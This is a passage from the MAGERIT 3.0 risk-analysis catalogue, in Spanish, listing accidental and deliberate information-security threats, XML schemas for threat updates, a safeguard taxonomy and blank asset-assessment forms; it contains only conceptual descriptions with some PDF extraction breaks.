• [S] servicios 3. [D] disponibilidad
• [SW] aplicaciones (software)
Descripción:
equivocaciones de las personas cuando usan los servicios, datos, etc.
Ver:
EBIOS: 38 - ERROR DE USO
5.3.2. [E.2] Errores del administrador

[E.2] Errores del administrador
• [D] datos / información 1. [D] disponibilidad
• [keys] claves criptográficas 2. [I] integridad
• [S] servicios 3. [C] confidencialidad
• [COM] redes de comunicaciones
Descripción:
equivocaciones de personas con responsabilidades de instalación y operación
Ver:
EBIOS: 38 - ERROR DE USO

5.3.3. [E.3] Errores de monitorización (log)

[E.3] Errores de monitorización (log)
• [D.log] registros de actividad 1. [I] integridad
(trazabilidad)
Descripción:
inadecuado registro de actividades: falta de registros, registros incompletos, registros incorrec
tamente fechados, registros incorrectamente atribuidos, ...
Ver:
5.3.4. [E.4] Errores de configuración

[E.4] Errores de configuración
• [D.conf] datos de configuración 1. [I] integridad
Descripción:
introducción de datos de configuración erróneos.
Prácticamente todos los activos dependen de su configuración y ésta de la diligencia del ad
ministrador: privilegios de acceso, flujos de actividades, registro de actividad, encaminamien
to, etc.
Ver:
5.3.5. [E.7] Deficiencias en la organización

Obsoleta.
[E.7] Deficiencias en la organización
• [P] personal 1. [D] disponibilidad
Descripción:
cuando no está claro quién tiene que hacer exactamente qué y cuándo, incluyendo tomar me
didas sobre los activos o informar a la jerarquía de gestión.
Acciones descoordinadas, errores por omisión, etc.
Ver:

5.3.6. [E.8] Difusión de software dañino

[E.8] Difusión de software dañino
2. [I] integridad
3. [C] confidencialidad
Descripción:
propagación inocente de virus, espías (spyware), gusanos, troyanos, bombas lógicas, etc.
Ver:
5.3.7. [E.9] Errores de [re-]encaminamiento

[E.9] Errores de [re-]encaminamiento
Descripción:
envío de información a través de un sistema o una red usando, accidentalmente, una ruta in
correcta que lleve la información a donde o por donde no es debido; puede tratarse de mensa
jes entre personas, entre procesos o entre unos y otros.
Es particularmente destacable el caso de que el error de encaminamiento suponga un error de
entrega, acabando la información en manos de quien no se espera.
Ver:
5.3.8. [E.10] Errores de secuencia

[E.10] Errores de secuencia
• [S] servicios 1. [I] integridad
Descripción:
alteración accidental del orden de los mensajes transmitidos.
Ver:
5.3.9. [E.14] Escapes de información

Obsoleta: use E.19.
[E.14] Escapes de información
• 1. [C] confidencialidad
Descripción:
la información llega accidentalmente al conocimiento de personas que no deberían tener co
nocimiento de ella, sin que la información en sí misma se vea alterada.

5.3.10. [E.15] Alteración accidental de la información

[E.15] Alteración accidental de la información
• [keys] claves criptográficas
• [S] servicios
• [SW] aplicaciones (SW)
• [COM] comunicaciones (tránsito)
Descripción:
alteración accidental de la información.
Esta amenaza sólo se identifica sobre datos en general, pues cuando la información está en
algún soporte informático, hay amenazas específicas.
Ver:
5.3.11. [E.18] Destrucción de información

[E.18] Destrucción de información
• [S] servicios
Descripción:
pérdida accidental de información.
Esta amenaza sólo se identifica sobre datos en general, pues cuando la información está en
algún soporte informático, hay amenazas específicas.
Ver:

5.3.12. [E.19] Fugas de información

[E.19] Fugas de información
• [D] datos / información 1. [C] confidencialidad
• [S] servicios
• [P] personal (revelación)
Descripción:
revelación por indiscreción.
Incontinencia verbal, medios electrónicos, soporte papel, etc.
Ver:
5.3.13. [E.20] Vulnerabilidades de los programas (software)

[E.20] Vulnerabilidades de los programas (software)
• [SW] aplicaciones (software) 1. [I] integridad
2. [D] disponibilidad
Descripción:
defectos en el código que dan pie a una operación defectuosa sin intención por parte del
usuario pero con consecuencias sobre la integridad de los datos o la capacidad misma de
operar.
Ver:
5.3.14. [E.21] Errores de mantenimiento / actualización de programas (softwa

re)
[E.21] Errores de mantenimiento / actualización de programas (software)
• [SW] aplicaciones (software) 1. [I] integridad
Descripción:
defectos en los procedimientos o controles de actualización del código que permiten que sigan
utilizándose programas con defectos conocidos y reparados por el fabricante.
Ver:
EBIOS:
31 - FALLA DE FUNCIONAMIENTO DEL SOFTWARE
32 - PERJUICIO A LA MANTENIBILIDAD DEL SISTEMA DE INFORMACIÓN

5.3.15. [E.23] Errores de mantenimiento / actualización de equipos (hardware)

[E.23] Errores de mantenimiento / actualización de equipos (hardware)
• [Media] soportes electrónicos
Descripción:
defectos en los procedimientos o controles de actualización de los equipos que permiten que
sigan utilizándose más allá del tiempo nominal de uso.
Ver:
EBIOS: 32 - PERJUICIO A LA MANTENIBILIDAD DEL SISTEMA DE INFORMACIÓN
5.3.16. [E.24] Caída del sistema por agotamiento de recursos

[E.24] Caída del sistema por agotamiento de recursos
Descripción:
la carencia de recursos suficientes provoca la caída del sistema cuando la carga de trabajo es
desmesurada.
Ver:
EBIOS: 30 - SATURACIÓN DEL SISTEMA INFORMÁTICO
5.3.17. [E.25] Pérdida de equipos

[E.25] Robo
• [Media] soportes de información 2. [C] confidencialidad
Descripción:
la pérdida de equipos provoca directamente la carencia de un medio para prestar los servi
cios, es decir una indisponibilidad.
Se puede perder todo tipo de equipamiento, siendo la pérdida de equipos y soportes de infor
mación los más habituales.
En el caso de equipos que hospedan datos, además se puede sufrir una fuga de información.
Ver:
EBIOS: 22 - RECUPERACIÓN DE SOPORTES RECICLADOS O DESECHADOS

5.3.18. [E.28] Indisponibilidad del personal

[E.28] Indisponibilidad del personal
• [P] personal interno 1. [D] disponibilidad
Descripción:
ausencia accidental del puesto de trabajo: enfermedad, alteraciones del orden público, guerra
bacteriológica, ...
Ver:
EBIOS: 42 - DAÑO A LA DISPONIBILIDAD DEL PERSONAL

5.4. [A] Ataques intencionados

Fallos deliberados causados por las personas.
La numeración no es consecutiva para coordinarla con los errores no intencionados, muchas ve
ces de naturaleza similar a los ataques deliberados, difiriendo únicamente en el propósito del suje
to.
Origen:
Humano (deliberado)
Ver correlación de errores y amenazas.
5.4.1. [A.3] Manipulación de los registros de actividad (log)

[A.4] Manipulación de los registros de actividad (log)
(trazabilidad)
Descripción:
Ver:
5.4.2. [A.4] Manipulación de la configuración

[A.4] Manipulación de la configuración
3. [A] disponibilidad
Descripción:
prácticamente todos los activos dependen de su configuración y ésta de la diligencia del ad
ministrador: privilegios de acceso, flujos de actividades, registro de actividad, encaminamien
to, etc.
Ver:

5.4.3. [A.5] Suplantación de la identidad del usuario

[A.5] Suplantación de la identidad del usuario
• [keys] claves criptográficas 2. [A] autenticidad
Descripción:
cuando un atacante consigue hacerse pasar por un usuario autorizado, disfruta de los privile
gios de este para sus fines propios.
Esta amenaza puede ser perpetrada por personal interno, por personas ajenas a la Organiza
ción o por personal contratado temporalmente.
Ver:
EBIOS: 40 - USURPACIÓN DE DERECHO
5.4.4. [A.6] Abuso de privilegios de acceso

[A.6] Abuso de privilegios de acceso
Descripción:
cada usuario disfruta de un nivel de privilegios para un determinado propósito; cuando un
usuario abusa de su nivel de privilegios para realizar tareas que no son de su competencia,
hay problemas.
Ver:
EBIOS: 39 - ABUSO DE DERECHO
5.4.5. [A.7] Uso no previsto

[A.7] Uso no previsto
• [SW] aplicaciones (software) 2. [C] confidencialidad
• [HW] equipos informáticos (hardware) 3. [I] integridad
Descripción:
utilización de los recursos del sistema para fines no previstos, típicamente de interés personal:
juegos, consultas personales en Internet, bases de datos personales, programas personales,
almacenamiento de datos personales, etc.
Ver:

5.4.6. [A.8] Difusión de software dañino

[A.8] Difusión de software dañino
2. [I] integridad
Descripción:
propagación intencionada de virus, espías (spyware), gusanos, troyanos, bombas lógicas, etc.
Ver:
5.4.7. [A.9] [Re-]encaminamiento de mensajes

[A.9] [Re-]encaminamiento de mensajes
Descripción:
envío de información a un destino incorrecto a través de un sistema o una red, que llevan la
información a donde o por donde no es debido; puede tratarse de mensajes entre personas,
entre procesos o entre unos y otros.
Un atacante puede forzar un mensaje para circular a través de un nodo determinado de la red
donde puede ser interceptado.
Es particularmente destacable el caso de que el ataque de encaminamiento lleve a una entre
ga fraudulenta, acabando la información en manos de quien no debe.
Ver:
5.4.8. [A.10] Alteración de secuencia

[A.10] Alteración de secuencia
Descripción:
alteración del orden de los mensajes transmitidos. Con ánimo de que el nuevo orden altere el
significado del conjunto de mensajes, perjudicando a la integridad de los datos afectados.
Ver:
EBIOS: 36 - ALTERACIÓN DE DATOS

5.4.9. [A.11] Acceso no autorizado

[A.11] Acceso no autorizado
Tipos de activos: Dim1nsiones:
• [S] servicios
Descripción:
el atacante consigue acceder a los recursos del sistema sin tener autorización para ello, típi
camente aprovechando un fallo del sistema de identificación y autorización.
Ver:
EBIOS: 33 - USO ILÍCITO DEL HARDWARE
5.4.10. [A.12] Análisis de tráfico

[A.12] Análisis de tráfico
• [COM] redes de comunicaciones 1. [C] confidencialidad
Descripción:
el atacante, sin necesidad de entrar a analizar el contenido de las comunicaciones, es capaz
de extraer conclusiones a partir del análisis del origen, destino, volumen y frecuencia de los in
tercambios.
A veces se denomina “monitorización de tráfico”.
Ver:
5.4.11. [A.13] Repudio

[A.13] Repudio
• [D.log] registros de actividad (trazabilidad)
Descripción:
negación a posteriori de actuaciones o compromisos adquiridos en el pasado.
Repudio de origen: negación de ser el remitente u origen de un mensaje o comunicación.
Repudio de recepción: negación de haber recibido un mensaje o comunicación.
Repudio de entrega: negación de haber recibido un mensaje para su entrega a otro.
Ver:
EBIOS: 41 - NEGACIÓN DE ACCIONES

5.4.12. [A.14] Interceptación de información (escucha)

[A.14] Interceptación de información (escucha)
• [COM] redes de comunicaciones 1. [C] confidencialidad
Descripción:
el atacante llega a tener acceso a información que no le corresponde, sin que la información
en sí misma se vea alterada.
Ver:
EBIOS: 19 - ESCUCHA PASIVA
5.4.13. [A.15] Modificación deliberada de la información

[A.15] Modificación deliberada de la información
• [S] servicios (acceso)
Descripción:
alteración intencional de la información, con ánimo de obtener un beneficio o causar un perjui
cio.
Ver:
5.4.14. [A.18] Destrucción de información

[A.18] Destrucción de información
Descripción:
eliminación intencional de información, con ánimo de obtener un beneficio o causar un perjui
cio.
Ver:

5.4.15. [A.19] Divulgación de información

[A.19] Revelación de información
Descripción:
revelación de información.
Ver:
EBIOS:
23 – DIVULGACIÓN
27 – GEOLOCALIZACIÓN
34 - COPIA ILEGAL DE SOFTWARE
5.4.16. [A.22] Manipulación de programas

[A.22] Manipulación de programas
• [SW] aplicaciones (software) 1. [C] confidencialidad
2. [I] integridad
Descripción:
alteración intencionada del funcionamiento de los programas, persiguiendo un beneficio indi
recto cuando una persona autorizada lo utiliza.
Ver:
EBIOS: 26 - ALTERACIÓN DE PROGRAMAS
5.4.17. [A.23] Manipulación de los equipos

[A.22] Manipulación de los equipos
• [HW] equipos 1. [C] confidencialidad
• [Media] soportes de información 2. [D] disponibilidad
Descripción:
alteración intencionada del funcionamiento de los programas, persiguiendo un beneficio indi
recto cuando una persona autorizada lo utiliza.
Ver:
EBIOS: 25 - SABOTAJE DEL HARDWARE

5.4.18. [A.24] Denegación de servicio

[A.24] Denegación de servicio
Descripción:
la carencia de recursos suficientes provoca la caída del sistema cuando la carga de trabajo es
desmesurada.
Ver:
EBIOS: 30 - SATURACIÓN DEL SISTEMA INFORMÁTICO
5.4.19. [A.25] Robo

[A.25] Robo
• [Media] soportes de información 4. [C] confidencialidad
Descripción:
la sustracción de equipamiento provoca directamente la carencia de un medio para prestar los
servicios, es decir una indisponibilidad.
El robo puede afectar a todo tipo de equipamiento, siendo el robo de equipos y el robo de so
portes de información los más habituales.
El robo puede realizarlo personal interno, personas ajenas a la Organización o personas con
tratadas de forma temporal, lo que establece diferentes grados de facilidad para acceder al
objeto sustraído y diferentes consecuencias.
En el caso de equipos que hospedan datos, además se puede sufrir una fuga de información.
Ver:
EBIOS:
20 - ROBO DE SOPORTES O DOCUMENTOS
21 - ROBO DE HARDWARE
5.4.20. [A.26] Ataque destructivo

[A.26] Ataque destructivo
Descripción:
vandalismo, terrorismo, acción militar, ...
Esta amenaza puede ser perpetrada por personal interno, por personas ajenas a la Organiza
ción o por personas contratadas de forma temporal.
Ver:
EBIOS: 05 - DESTRUCCIÓN DE HARDWARE O DE SOPORTES

5.4.21. [A.27] Ocupación enemiga

[A.27] Ocupación enemiga
• [L] instalaciones 1. [D] disponibilidad
Descripción:
cuando los locales han sido invadidos y se carece de control sobre los propios medios de tra
bajo.
Ver:
5.4.22. [A.28] Indisponibilidad del personal

[A.28] Indisponibilidad del personal
• [P] personal interno 1. [D] disponibilidad
Descripción:
ausencia deliberada del puesto de trabajo: como huelgas, absentismo laboral, bajas no justifi
cadas, bloqueo de los accesos, ...
Ver:
EBIOS: 42 - DAÑO A LA DISPONIBILIDAD DEL PERSONAL
5.4.23. [A.29] Extorsión

[A.29] Extorsión
• [P] personal interno 1. [C] confidencialidad
2. [I] integridad
Descripción:
presión que, mediante amenazas, se ejerce sobre alguien para obligarle a obrar en determi
nado sentido.
Ver:
5.4.24. [A.30] Ingeniería social (picaresca)

[A.30] Ingeniería social (picaresca)
• [P] personal interno 1. [C] confidencialidad
2. [I] integridad
Descripción:
abuso de la buena fe de las personas para que realicen actividades que interesan a un terce
ro.
Ver:

5.5. Correlación de errores y ataques

Errores y amenazas constituyen frecuentemente las dos caras de la misma moneda: algo que le
puede pasar a los activos sin animosidad o deliberadamente. Se pueden dar hasta tres combina
ciones:
• amenazas que sólo pueden ser errores, nunca ataques deliberados
• amenazas que nunca son errores: siempre son ataques deliberados
• amenazas que pueden producirse tanto por error como deliberadamente
Para afrontar esta casuística, errores y amenazas se han numerado de tal manera que pueda es
tablecerse este paralelismo. La siguiente tabla alinea errores con ataques mostrando cómo se co
rrelacionan:
número error ataque
1 Errores de los usuarios
2 Errores del administrador
3 Errores de monitorización (log) Manipulación de los registros de actividad
4 Errores de configuración Manipulación de la configuración
5 Suplantación de la identidad del usuario
6 Abuso de privilegios de acceso
7 Deficiencias en la organización Uso no previsto
8 Difusión de software dañino Difusión de software dañino
9 Errores de [re-]encaminamiento [Re-]encaminamiento de mensajes
10 Errores de secuencia Alteración de secuencia
11 Acceso no autorizado
12 Análisis de tráfico
13 Repudio
14 Escapes de información Interceptación de información (escucha)
15 Alteración accidental de la información Modificación deliberada de la información
18 Destrucción de información Destrucción de información
19 Fugas de información Revelación de información
20 Vulnerabilidades de los programas (soft
ware)
21 Errores de mantenimiento / actualización
de programas (software)
22 Manipulación de programas
23 Errores de mantenimiento / actualización Manipulación de los equipos
de equipos (hardware)
24 Caída del sistema por agotamiento de Denegación de servicio
recursos
25 Pérdida de equipos Robo
26 Ataque destructivo
27 Ocupación enemiga
28 Indisponibilidad del personal Indisponibilidad del personal
29 Extorsión
30 Ingeniería social (picaresca)

5.6. Nuevas amenazas: XML

Los amenazas cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tecnoló
gica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar periódi
camente actualizaciones de las amenazas antes descritas.
5.6.1. Sintaxis BNF

<magerit-extension>
{ amenazas }*
amenazas ::=
<threats under >
{ amenaza }*
</ threats>
amenaza ::=
<threat code [ tho ] [ thc ]>
#name#
[ descripción ]
{ amenaza }*
</threat>
descripción ::=
<description>
#texto#
</description>

under under=”X” X identifica una amenaza ya definida, indicando que las nuevas ame
nazas son refinamientos de X.
amenaza se refiere.
tho tho=”H” Origen (agente causante) de la amenaza. Puede ser
N – Natural
E – Entorno industrial
H - Humano
thc thc=”D” Causa. Puede ser
A – Accidental
D - Deliberada
5.6.2. Esquema XSD

version="2.0">
<xsd:annotation>
</xsd:annotation>
<xsd:complexType>

<xsd:sequence>
<xsd:element name="threats" type="threatsType"
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:complexType name="threatsType" mixed="true">
<xsd:sequence>
<xsd:element name="threat" type="threatType"
</xsd:sequence>
<xsd:attribute name="under" type="xsd:string" use="required"/>
</xsd:complexType>
<xsd:complexType name="threatType" mixed="true">
<xsd:sequence>
minOccurs="0"/>
<xsd:element name="threat" type="threatType"
</xsd:sequence>
<xsd:attribute name="tho" type="threatOrigin"/>
<xsd:attribute name="thc" type="threatCause"/>
</xsd:complexType>
<xsd:simpleType name="threatOrigin">
<xsd:restriction base="xsd:string">
<xsd:enumeration value="N"/>
<xsd:enumeration value="E"/>
<xsd:enumeration value="H"/>
</xsd:restriction>
</xsd:simpleType>
<xsd:simpleType name="threatCause">
<xsd:enumeration value="A"/>
<xsd:enumeration value="D"/>
</xsd:restriction>
</xsd:simpleType>
</xsd:schema>
5.7. Nivel de la amenaza: XML

Para que una fuente de información pueda proporcionar datos de inteligencia sobre la probabi
lidad de que una amenaza se materialice sobre un cierto tipo de activos.
5.7.1. Sintaxis BNF

<threat_announcement>
{ nivel_de_amenaza }*
</ threat_announcement >
nivel_de_amenaza ::=
<tip class threat level >
[ descripción ]
</tip>
descripción ::=
<description>
#texto#
</description>


class class=”C” C identifica por su código a un tipo ya conocido de activos.
threat threat=”T” T identifica por su código a una amenaza ya conocida.
level level=”A” Nivel de la amenaza. Puede ser
VR – muy raro (very rare)
U – improbable (unlikely)
P – posible (possible)
VH – probable (very high)
AC – prácticamente segura (almost certain)
5.7.2. Esquema XSD

version="2.0">
<xsd:annotation>
</xsd:annotation>
<xsd:element name="threat-announcement">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="tip" type="tipType"
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:complexType name="tipType" mixed="true">
<xsd:sequence>
minOccurs="0"/>
</xsd:sequence>
<xsd:attribute name="asset" type="xsd:string" use="required"/>
<xsd:attribute name="threat" type="xsd:string" use="required"/>
<xsd:attribute name="level" type="levelType" use="required"/>
</xsd:complexType>
<xsd:simpleType name="levelType">
<xsd:enumeration value="VR"/>
<xsd:enumeration value="U"/>
<xsd:enumeration value="P"/>
<xsd:enumeration value="VH"/>
<xsd:enumeration value="AC"/>
</xsd:restriction>
</xsd:simpleType>
</xsd:schema>
5.8. Referencias
Existen numerosas fuentes que catalogan amenazas dentro del ámbito de las tecnologías de la
información y las comunicaciones.
• ISO/IEC 27005
• EBIOS

• IT Baseline Protection Manual, Federal Office for Information Security (BSI), Germany. Oc
tober 2003.
• Managing Information Security Risks: The OCTAVE Approach, C.J. Alberts and A.J. Doro
fee, Addison-Wesley Pub Co; 1st edition (July 9, 2002)

Magerit 3.0 Salvaguardas
6. Salvaguardas
Las salvaguardas permiten hacer frente a las amenazas.
Las salvaguardas, especialmente las técnicas, varían con el avance tecnológico
• porque aparecen tecnologías nuevas,

• porque van desapareciendo tecnologías antiguas,
• porque cambian los [tipos de] activos a considerar,
• porque evolucionan las posibilidades de los atacantes o
• porque evoluciona el catálogo de salvaguardas disponibles.
En consecuencia, este catálogo de salvaguardas no entra en la selección de paquetes o produc
tos a instalar, limitándose a establecer un paraguas taxonómico para ordenar y clasificar las dife
rentes concreciones materiales, tecnológicas, organizativas y procedimentales que sean de apli
cación en cada momento..
6.1. Protecciones generales u horizontales

H Protecciones Generales
H.IA Identificación y autenticación
H.AC Control de acceso lógico
H.ST Segregación de tareas
H.IR Gestión de incidencias
H.tools Herramientas de seguridad

H.tools.AV Herramienta contra código dañino
H.tools.IDS IDS/IPS: Herramienta de detección / prevención de intrusión
H.tools.CC Herramienta de chequeo de configuración
H.tools.VA Herramienta de análisis de vulnerabilidades
H.tools.TM Herramienta de monitorización de tráfico
H.tools.DLP DLP: Herramienta de monitorización de contenidos
H.tools.LA Herramienta para análisis de logs
H.tools.HP Honey net / honey pot
H.tools.SFV Verificación de las funciones de seguridad
H.VM Gestión de vulnerabilidades
H.AU Registro y auditoría

6.2. Protección de los datos / información

D Protección de la Información
D.A Copias de seguridad de los datos (backup)
D.I Aseguramiento de la integridad
D.C Cifrado de la información
D.DS Uso de firmas electrónicas
D.TS Uso de servicios de fechado electrónico (time stamping)
6.3. Protección de las claves criptográficas

K Gestión de claves criptográficas
K.IC Gestión de claves de cifra de información
K.DS Gestión de claves de firma de información
K.disk Gestión de claves para contenedores criptográficos
K.comms Gestión de claves de comunicaciones
K.509 Gestión de certificados
6.4. Protección de los servicios

S Protección de los Servicios
S.A Aseguramiento de la disponibilidad
S.start Aceptación y puesta en operación
S.SC Se aplican perfiles de seguridad
S.op Explotación
S.CM Gestión de cambios (mejoras y sustituciones)
S.end Terminación
S.www Protección de servicios y aplicaciones web
S.email Protección del correo electrónico
S.dir Protección del directorio
S.dns Protección del servidor de nombres de dominio (DNS)
S.TW Teletrabajo
S.voip Voz sobre IP
6.5. Protección de las aplicaciones (software)

SW Protección de las Aplicaciones Informáticas
SW.A Copias de seguridad (backup)
SW.start Puesta en producción
SW.SC Se aplican perfiles de seguridad
SW.op Explotación / Producción
SW.CM Cambios (actualizaciones y mantenimiento)
SW.end Terminación

6.6. Protección de los equipos (hardware)

HW Protección de los Equipos Informáticos
HW.start Puesta en producción
HW.SC Se aplican perfiles de seguridad
HW.A Aseguramiento de la disponibilidad
HW.op Operación
HW.CM Cambios (actualizaciones y mantenimiento)
HW.end Terminación
HW.PCD Informática móvil
HW.print Reproducción de documentos
HW.pabx Protección de la centralita telefónica (PABX)
6.7. Protección de las comunicaciones

COM Protección de las Comunicaciones
COM.start Entrada en servicio
COM.SC Se aplican perfiles de seguridad
COM.A Aseguramiento de la disponibilidad
COM.aut Autenticación del canal
COM.I Protección de la integridad de los datos intercambiados
COM.C Protección criptográfica de la confidencialidad de los datos intercambiados
COM.op Operación
COM.CM Cambios (actualizaciones y mantenimiento)
COM.end Terminación
COM.internet Internet: uso de ? acceso a
COM.wifi Seguridad Wireless (WiFi)
COM.mobile Telefonía móvil
COM.DS Segregación de las redes en dominios
6.8. Protección en los puntos de interconexión con otros sistemas

IP Puntos de interconexión: conexiones entre zonas de confianza
IP.SPP Sistema de protección perimetral
IP.BS Protección de los equipos de frontera
6.9. Protección de los soportes de información

MP Protección de los Soportes de Información
MP.A Aseguramiento de la disponibilidad
MP.IC Protección criptográfica del contenido

MP.clean Limpieza de contenidos
MP.end Destrucción de soportes
6.10. Protección de los elementos auxiliares

AUX Elementos Auxiliares
AUX.A Aseguramiento de la disponibilidad
AUX.start Instalación
AUX.power Suministro eléctrico
AUX.AC Climatización
AUX.wires Protección del cableado
6.11. Seguridad física – Protección de las instalaciones

L Protección de las Instalaciones
L.design Diseño
L.depth Defensa en profundidad
L.AC Control de los accesos físicos
L.A Aseguramiento de la disponibilidad
L.end Terminación
6.12. Salvaguardas relativas al personal

Son aquellas que se refieren a las personas que tienen relación con el sistema de información.
PS Gestión del Personal
PS.AT Formación y concienciación
PS.A Aseguramiento de la disponibilidad
6.13. Salvaguardas de tipo organizativo

Son aquellas que se refieren al buen gobierno de la seguridad.
G Organización
G.RM Gestión de riesgos
G.plan Planificación de la seguridad
G.exam Inspecciones de seguridad
6.14. Continuidad de operaciones

Prevención y reacción frente a desastres.
BC Continuidad del negocio
BC.BIA Análisis de impacto (BIA)
BC.DRP Plan de Recuperación de Desastres (DRP)

6.15. Externalización
Es cada vez más flexible la frontera entre los servicios de seguridad prestados internamente y los
servicios contratados a terceras partes. En estos casos es fundamental cerrar los aspectos de re
lación contractual:
• SLA: nivel de servicio, si la disponibilidad es un valor
• NDA: compromiso de secreto, si la confidencialidad es un valor
• Identificación y calificación del personal encargado
• Procedimientos de escalado y resolución de incidencias
• Procedimiento de terminación (duración en el tiempo de las responsabilidades asumidas)
• Asunción de responsabilidades y penalizaciones por incumplimiento
E Relaciones Externas
E.1 Acuerdos para intercambio de información y software
E.2 Acceso externo
E.3 Servicios proporcionados por otras organizaciones
E.4 Personal subcontratado
6.16. Adquisición y desarrollo

NEW Adquisición / desarrollo
NEW.S Servicios: Adquisición o desarrollo
NEW.SW Aplicaciones: Adquisición o desarrollo
NEW.HW Equipos: Adquisición o desarrollo
NEW.COM Comunicaciones: Adquisición o contratación
NEW.MP Soportes de Información: Adquisición
NEW.C Productos certificados o acreditados
6.17. Referencias
BSI
Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003.
Germany.
CC
Comon Criteria. Ver [ISO 15408].
Guías CCN-STIC
https://www.ccn-cert.cni.es/
ISO JTC 71/SC 27
Numerosas guías producidas por ISO concretan medidas de seguridad. Consulte el catálogo
del comité 71 "TECNOLOGÍA DE LA INFORMACIÓN", subcomité SC 27 "TÉCNICAS DE SE
GURIDAD".

ISO 15408
ISO/IEC 15408:2009, “Information technology — Security techniques — Evaluation criteria for
IT security”.
ISO 27002
ISO/IEC 27002:2005, “Information technology — Security techniques — Code of practice for in
formation security management”.
UNE-ISO/IEC 27002:2009, “Tecnología de la Información. Código de Buenas Prácticas de la
Gestión de la Seguridad de la Información”.
NIST 800-53
NIST, “Recommended Security Controls for Federal Information Systems”, National Institute of
Standards and Technology, special publication SP 800-53 Rev.3, Aug. 2009.
RD 3/2010
Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad
en el ámbito de la Administración Electrónica.
RD 1720/2007
Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarro
llo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter perso
nal.

Magerit 3.0 Notación XML
Apéndice 1. Notación XML

Las descripciones de formatos XML se ajustan a la siguiente notación de tipo BNF 4:
• las etiquetas XML se muestran como tales
• los atributos XML se explican en la sección “atributos”
• { ... }* denota que hay 0 o más
• { ... }+ denota que hay 1 o más
• | denota que son alternativas
• [...] denota que es opcional (0 o 1)
• #texto# es contenido literal: un nombre o una descripción
• lo demás es obligatorio
4 BNF: Backus-Naur Form. Es una forma de representar la gramática de un lenguaje. Una gramática BNF
consiste en una serie de reglas de producción, donde el lado izquierdo se materializa en lo que se indica
en el lado derecho. El lado derecho puede explicitar términos finales, o bien ser a su vez desarrollado
mediante nuevas reglas de producción.

Magerit 3.0 Fichas
Apéndice 2. Fichas
Las siguientes secciones proporciona fichas para la captura de datos en un proyecto de análisis y
gestión de riesgos.
Reproduzca las fichas siguientes, una por activo, del tipo que corresponda.
A2.1. [info] Activos esenciales: información

[info] Información
código: nombre:
descripción:
propietario:
responsable:
tipo (marque todos los adjetivos que procedan)

Ver Sección 2.1.
Valoración de la información, típicamente en las siguientes dimensiones de seguridad:

[I] integridad
[C] confidencialidad
[A] autenticidad de los datos
[T] trazabilidad de los datos, quién ha modificado qué
Valoración
dimensión valor justificación
[I]
[C]
[A]
[T]
Las dependencias normalmente identifican servicios y personas que manejan esta información:
Dependencias de activos inferiores (hijos)

activo: grado:

Magerit 3.0 Fichas

¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.2. [service] Activos esenciales: Servicio

[service] Servicio
código: nombre:
descripción:
responsable:

Ver Sección 2.1.
Valoración de los servicios que ofrece la Organización a otros, típicamente en las siguientes di
mensiones:
[D] disponibilidad
[A] autenticidad de quién accede al servicio
[T] trazabilidad de quién accede al servicio, cuándo y que hace
Valoración
dimensión valor justificación
[D]
[A]
[T]
Las dependencias normalmente identifican equipamiento desplegado para prestar este servicio:
aplicaciones (sw),
equipos (hw),
equipos de comunicaciones,
soportes de información (media), etc.
personas a cargo del servicio.

Magerit 3.0 Fichas

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.3. [D] Datos / Información

código: nombre:
descripción:
responsable:
Ver Sección 2.3.
Las dependencias normalmente identifican

equipos que los hospedan
líneas de comunicación por las que se transfieren
soportes de información
personas relacionadas: usuarios.

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:

Magerit 3.0 Fichas
A2.4. [K] Claves criptográficas

[K] Claves criptográficas
código: nombre:
descripción:
responsable:
Ver Sección 2.4.

equipos que las hospedan
soportes de información
personas relacionadas: operadores, administradores y criptocustodios.

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.5. [S] Servicios

[S] Servicios
código: nombre:
descripción:

Magerit 3.0 Fichas
[S] Servicios
responsable:
Ver Sección 2.5.

personas relacionadas: usuarios, operadores y administradores.

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.6. [SW] Aplicaciones (software)

[SW] Aplicaciones (software)
código: nombre:
descripción:
responsable:
Ver Sección 2.6.

personas relacionadas con esta aplicación: operadores, administradores y desarrolladores.

activo: grado:
¿por qué?:

Magerit 3.0 Fichas
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.7. [HW] Equipamiento informático (hardware)

[HW] Equipamiento informático (hardware)
código: nombre:
descripción:
responsable:
ubicación:
número:
Ver Sección 2.7.

personas relacionadas con este equipo: operadores, administradores
instalaciones que lo acogen

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.8. [COM] Redes de comunicaciones

código: nombre:

Magerit 3.0 Fichas

descripción:
responsable:
ubicación:
número:
Ver Sección 2.8.

personas relacionadas: operadores, administradores

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.9. [Media] Soportes de información

[SI] Soportes de información
código: nombre:
descripción:
responsable:
ubicación:
número:

Magerit 3.0 Fichas
[SI] Soportes de información

Ver Sección 2.9.

personas relacionadas: operadores, administradores

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.10. [AUX] Equipamiento auxiliar

[AUX] Equipamiento auxiliar
código: nombre:
descripción:
responsable:
ubicación:
número:
Ver Sección 2.10.

personas relacionadas con este equipo: operadores, administradores

activo: grado:
¿por qué?:

Magerit 3.0 Fichas
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.11. [L] Instalaciones

[L] Instalaciones
código: nombre:
descripción:
responsable:
ubicación:
número:
Ver Sección 2.11.

personas relacionadas con esta instalación: guardias, encargados de mantenimiento

activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
A2.12. [P] Personal

[P] Personal
código: nombre:
descripción:

Magerit 3.0 Fichas
[P] Personal
número:
Ver Sección 2.12.
